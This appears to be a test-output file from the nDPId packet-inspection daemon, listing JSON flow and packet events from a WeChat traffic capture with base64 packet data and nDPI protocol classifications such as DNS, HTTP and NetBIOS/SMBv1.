+00428{"flow_id":117,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1648,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":294579,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00olAAEAGJKTAqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU5gFAAAAQEICgA\/qERwfJTZ"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1649,"source":"wechat.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1492171267430,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":59567,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1649,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":430597,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"8IQvSpdgeJKcD6iOCABFAABBJlBAAEARj6bAqAFnwKgB\/uivADUALYbgc9oBAAABAAAAAAAAA3NzbAdnc3RhdGljA2NvbQNsYW4AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1649,"source":"wechat.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1492171267430,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":59567,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"ssl.gstatic.com.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1650,"source":"wechat.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1492171267576,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39195,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1650,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171267,"pkt_ts_usec":576264,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01ChAAEAGIwXAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgt\/PgAAAQEICgA\/qMRwfB+e"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1651,"source":"wechat.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1492171268427,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42074,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1651,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171268,"pkt_ts_usec":427945,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"8IQvSpdgeJKcD6iOCABFAABBJl5AAEARj5jAqAFnwKgB\/qRaADUALSfRFz8BAAABAAAAAAAAA3NzbAdnc3RhdGljA2NvbQNsYW4AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1651,"source":"wechat.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1492171268427,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42074,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"ssl.gstatic.com.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1652,"source":"wechat.pcap","alias":"nDPId-test","flow_id":121,"flow_packet_id":1,"flow_first_seen":1492171268472,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":121,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1652,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171268,"pkt_ts_usec":472274,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JlRAAEAG0NrAqAFnX2UiIYilAFA23DHogeAL9oARBaQg+wAAAQEICgA\/qaRr6Xcq"} +01031{"flow_id":113,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1653,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171268,"pkt_ts_usec":600285,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"8IQvSpdgeJKcD6iOCABFAAHsiFdAAEAGSOfAqAFn2DrNg+MfAbtA+v0gFZsbqIAZAT5BhgAAAQEICgA\/qcQy2r7tFwMDAVu+DrsMGADIBc3y\/EPKacgY\/\/yQnIvMDmcJvSRFqPEzGFHK1SfEZD+LW3zHqz7Qn57h7phszvLaMx08coFwWwqfC7HwO5byX8EfZX59ZxB8wie5NmTqPueQB2i63JLDDRRwIsZojgu7bb8cvUD8n10qxsHw\/TQ7hvwnvUlAMmevC0E4bShoN6nD161aFH8pJzOUZ6Inmm16pW110QaYPjjSQQTv7tNyG48jYK3I2RN01WazUewIpPm73LAS9ZABJ\/Ny8oNO\/paZaboPssOjLQcJQCoLWCEO29VIR1wHqlyW4rcdBB9JM36yEvABpD0B99LA+t3vBjUOLhPnYTS5Tg\/Xq\/y13A\/nE4U69mAQajAphd1rkHRmU5H71D9Yn3KgSrb0XGlqT0xKmBjYerOwAP2kk8Whxm\/8laMcKMQksDAjrijAvnUEJ5tIwpNFUcxgRKcVbexJ8LEa9dte0xcDAwAh3EhrcW9cp9\/WX9UiN8Kt\/CmhJWgGaSyh5LdY3zetl0V+FwMDAC1uKRpL0WFRctIQnQp7DT13au9uAW\/kc9Ado7SqH0KYC9BoecHEhGyhydVqz38="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1654,"source":"wechat.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1492171268754,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":43705,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":122,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1654,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171268,"pkt_ts_usec":754627,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"8IQvSpdgeJKcD6iOCABFAABIJm1AAEARj4LAqAFnwKgB\/qq5ADUANAzJFXEBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20DbGFuAAABAAE="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1654,"source":"wechat.pcap","alias":"nDPId-test","flow_id":122,"flow_packet_id":1,"flow_first_seen":1492171268754,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":43705,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"webpush.web.wechat.com.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1655,"source":"wechat.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":1,"flow_first_seen":1492171269128,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":123,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1655,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171269,"pkt_ts_usec":128269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HSdAAEAG2gbAqAFnX2UiIpknAFAjQjGaFOMj7IARBf5ipwAAAQEICgA\/qkhwfIhZ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1656,"source":"wechat.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":1,"flow_first_seen":1492171269192,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58226,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":124,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1656,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171269,"pkt_ts_usec":192245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0e7BAAEAGnYvAqAFny82Tq+NyAbsh7o58Fu1nsYARAOVarwAAAQEICgA\/qlhF3\/Tx"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1657,"source":"wechat.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1492171269383,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":44063,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":125,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1657,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171269,"pkt_ts_usec":383166,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8IQvSpdgeJKcD6iOCABFAABDJn9AAEARj3XAqAFnwKgB\/qwfADUALz4De5MBAAABAAAAAAAAATEGZGViaWFuBHBvb2wDbnRwA29yZwAAAQAB"} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1657,"source":"wechat.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":1,"flow_first_seen":1492171269383,"flow_last_seen":0,"flow_tot_l4_data_len":47,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":44063,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.debian.pool.ntp.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00447{"flow_id":125,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1658,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171269,"pkt_ts_usec":383221,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"8IQvSpdgeJKcD6iOCABFAABDJoBAAEARj3TAqAFnwKgB\/qwfADUAL2b9N5kBAAABAAAAAAAAATEGZGViaWFuBHBvb2wDbnRwA29yZwAAHAAB"} +00665{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1658,"source":"wechat.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":2,"flow_first_seen":1492171269383,"flow_last_seen":1492171269383,"flow_tot_l4_data_len":94,"flow_min_l4_data_len":47,"flow_max_l4_data_len":47,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":44063,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.debian.pool.ntp.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1659,"source":"wechat.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1492171269548,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00692{"flow_id":126,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1659,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171269,"pkt_ts_usec":548804,"pkt_caplen":254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":254,"pkt_l4_len":220,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoADwL\/IAAIARhLfAqAFkwKgB\/wCKAIoA3H89EQ7\/KMCoAWQAigDGAAAgRUhFSkVQRkdFQkVPRU9FSkNORkFFRENBQ0FDQUNBQUEAIEFCQUNGUEZQRU5GREVDRkNFUEZIRkRFRkZQRlBBQ0FCAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAALAAAAAAAAAAAAOgDAAAAAAAAAAAsAFYAAwABAAEAAgA9AFxNQUlMU0xPVFxCUk9XU0UADACguw0AV09SS0dST1VQAAAAAAAAAAMKABAAgP4HAABHSU9WQU5OSS1QQwA="} +00556{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1659,"source":"wechat.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":1,"flow_first_seen":1492171269548,"flow_last_seen":0,"flow_tot_l4_data_len":220,"flow_min_l4_data_len":220,"flow_max_l4_data_len":220,"flow_avg_l4_data_len":220,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00451{"flow_id":114,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1660,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171269,"pkt_ts_usec":750011,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABEJttAAEARjxjAqAFnwKgB\/rE2ADUAMGKHk6IBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1661,"source":"wechat.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1492171270418,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42589,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":127,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1661,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171270,"pkt_ts_usec":418166,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"8IQvSpdgeJKcD6iOCABFAAA9Ju1AAEARjw3AqAFnwKgB\/qZdADUAKRuahlUBAAABAAAAAAAAA3NzbAdnc3RhdGljA2NvbQAAAQAB"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1661,"source":"wechat.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1492171270418,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42589,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"ssl.gstatic.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1662,"source":"wechat.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":1,"flow_first_seen":1492171271288,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":128,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1662,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171271,"pkt_ts_usec":288269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jrVAAEAGaHnAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaQBSAAAAQEICgA\/rGRr6XCp"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1663,"source":"wechat.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1492171271288,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.180.179","src_port":52020,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":129,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1663,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171271,"pkt_ts_usec":288336,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0261AAEAGiO7AqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJeZCwAAAQEICgA\/rGQc0iJk"} +00447{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1664,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171273,"pkt_ts_usec":433039,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"8IQvSpdgeJKcD6iOCABFAABBJ9JAAEARjiTAqAFnwKgB\/qRaADUALSfRFz8BAAABAAAAAAAAA3NzbAdnc3RhdGljA2NvbQNsYW4AAAEAAQ=="} +00455{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1665,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171273,"pkt_ts_usec":759735,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"8IQvSpdgeJKcD6iOCABFAABIKB1AAEARjdLAqAFnwKgB\/qq5ADUANAzJFXEBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20DbGFuAAABAAE="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1666,"source":"wechat.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1492171274388,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42856,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":130,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1666,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171274,"pkt_ts_usec":388466,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"8IQvSpdgeJKcD6iOCABFAABHKHpAAEARjXbAqAFnwKgB\/qdoADUAMwYVU1YBAAABAAAAAAAAATEGZGViaWFuBHBvb2wDbnRwA29yZwNsYW4AAAEAAQ=="} +00648{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1666,"source":"wechat.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":1,"flow_first_seen":1492171274388,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42856,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.debian.pool.ntp.org.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00455{"flow_id":130,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1667,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171274,"pkt_ts_usec":388528,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"8IQvSpdgeJKcD6iOCABFAABHKHtAAEARjXXAqAFnwKgB\/qdoADUAMwU2OTUBAAABAAAAAAAAATEGZGViaWFuBHBvb2wDbnRwA29yZwNsYW4AABwAAQ=="} +00670{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1667,"source":"wechat.pcap","alias":"nDPId-test","flow_id":130,"flow_packet_id":2,"flow_first_seen":1492171274388,"flow_last_seen":1492171274388,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42856,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"1.debian.pool.ntp.org.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1668,"source":"wechat.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1492171274755,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":44346,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":131,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1668,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171274,"pkt_ts_usec":755195,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"8IQvSpdgeJKcD6iOCABFAABIKKBAAEARjU\/AqAFnwKgB\/q06ADUANGSfuxkBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20DbGFuAAABAAE="} +00649{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1668,"source":"wechat.pcap","alias":"nDPId-test","flow_id":131,"flow_packet_id":1,"flow_first_seen":1492171274755,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":44346,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"webpush.web.wechat.com.lan","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":1,"flow_first_seen":1492171270418,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":42589,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00515{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1669,"source":"wechat.pcap","alias":"nDPId-test","flow_id":129,"flow_packet_id":1,"flow_first_seen":1492171271288,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.180.179","src_port":52020,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 